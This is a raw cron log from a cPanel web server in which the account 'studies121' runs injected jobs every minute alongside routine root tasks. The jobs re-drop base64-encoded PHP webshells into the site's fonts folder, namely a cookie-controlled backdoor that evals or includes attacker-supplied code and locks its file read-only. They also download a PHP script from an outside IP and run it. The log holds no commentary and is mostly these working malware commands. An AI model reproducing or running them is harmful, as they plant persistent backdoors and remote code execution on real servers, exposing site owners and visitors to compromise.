Feb 22 16:19:01 ip-184-168-122-23 CROND[25729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:19:01 ip-184-168-122-23 CROND[25732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:19:01 ip-184-168-122-23 CROND[25733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:20:01 ip-184-168-122-23 CROND[26049]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 16:20:01 ip-184-168-122-23 CROND[26052]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:20:01 ip-184-168-122-23 CROND[26053]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 16:20:01 ip-184-168-122-23 CROND[26055]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 16:20:01 ip-184-168-122-23 CROND[26056]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 16:20:01 ip-184-168-122-23 CROND[26058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:20:01 ip-184-168-122-23 CROND[26057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:20:01 ip-184-168-122-23 CROND[26059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:20:01 ip-184-168-122-23 CROND[26054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:21:01 ip-184-168-122-23 CROND[26401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:21:01 ip-184-168-122-23 CROND[26402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:21:01 ip-184-168-122-23 CROND[26406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:21:01 ip-184-168-122-23 CROND[26405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:22:01 ip-184-168-122-23 CROND[26763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:22:01 ip-184-168-122-23 CROND[26766]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:22:01 ip-184-168-122-23 CROND[26767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:22:01 ip-184-168-122-23 CROND[26765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:22:01 ip-184-168-122-23 CROND[26768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:23:01 ip-184-168-122-23 CROND[27110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:23:01 ip-184-168-122-23 CROND[27111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:23:01 ip-184-168-122-23 CROND[27108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:23:01 ip-184-168-122-23 CROND[27112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:24:01 ip-184-168-122-23 CROND[27423]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:24:01 ip-184-168-122-23 CROND[27425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:24:01 ip-184-168-122-23 CROND[27427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:24:01 ip-184-168-122-23 CROND[27426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:24:01 ip-184-168-122-23 CROND[27428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:25:01 ip-184-168-122-23 CROND[27750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:25:01 ip-184-168-122-23 CROND[27751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:25:01 ip-184-168-122-23 CROND[27755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:25:01 ip-184-168-122-23 CROND[27754]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Feb 22 16:25:01 ip-184-168-122-23 CROND[27758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 16:25:01 ip-184-168-122-23 CROND[27756]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 16:25:01 ip-184-168-122-23 CROND[27757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:26:01 ip-184-168-122-23 CROND[28108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:26:01 ip-184-168-122-23 CROND[28110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:26:01 ip-184-168-122-23 CROND[28113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:26:02 ip-184-168-122-23 CROND[28112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:26:02 ip-184-168-122-23 CROND[28111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:27:01 ip-184-168-122-23 CROND[28443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:27:01 ip-184-168-122-23 CROND[28444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:27:01 ip-184-168-122-23 CROND[28446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:27:01 ip-184-168-122-23 CROND[28445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:28:01 ip-184-168-122-23 CROND[28900]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:28:01 ip-184-168-122-23 CROND[28902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:28:01 ip-184-168-122-23 CROND[28905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:28:01 ip-184-168-122-23 CROND[28903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:28:01 ip-184-168-122-23 CROND[28904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:29:01 ip-184-168-122-23 CROND[29203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:29:01 ip-184-168-122-23 CROND[29205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:29:01 ip-184-168-122-23 CROND[29206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:29:01 ip-184-168-122-23 CROND[29207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:30:01 ip-184-168-122-23 CROND[29536]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 16:30:01 ip-184-168-122-23 CROND[29535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:30:01 ip-184-168-122-23 CROND[29534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:30:01 ip-184-168-122-23 CROND[29542]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 16:30:01 ip-184-168-122-23 CROND[29544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:30:01 ip-184-168-122-23 CROND[29541]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 16:30:01 ip-184-168-122-23 CROND[29543]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Feb 22 16:30:01 ip-184-168-122-23 CROND[29552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:30:01 ip-184-168-122-23 CROND[29550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
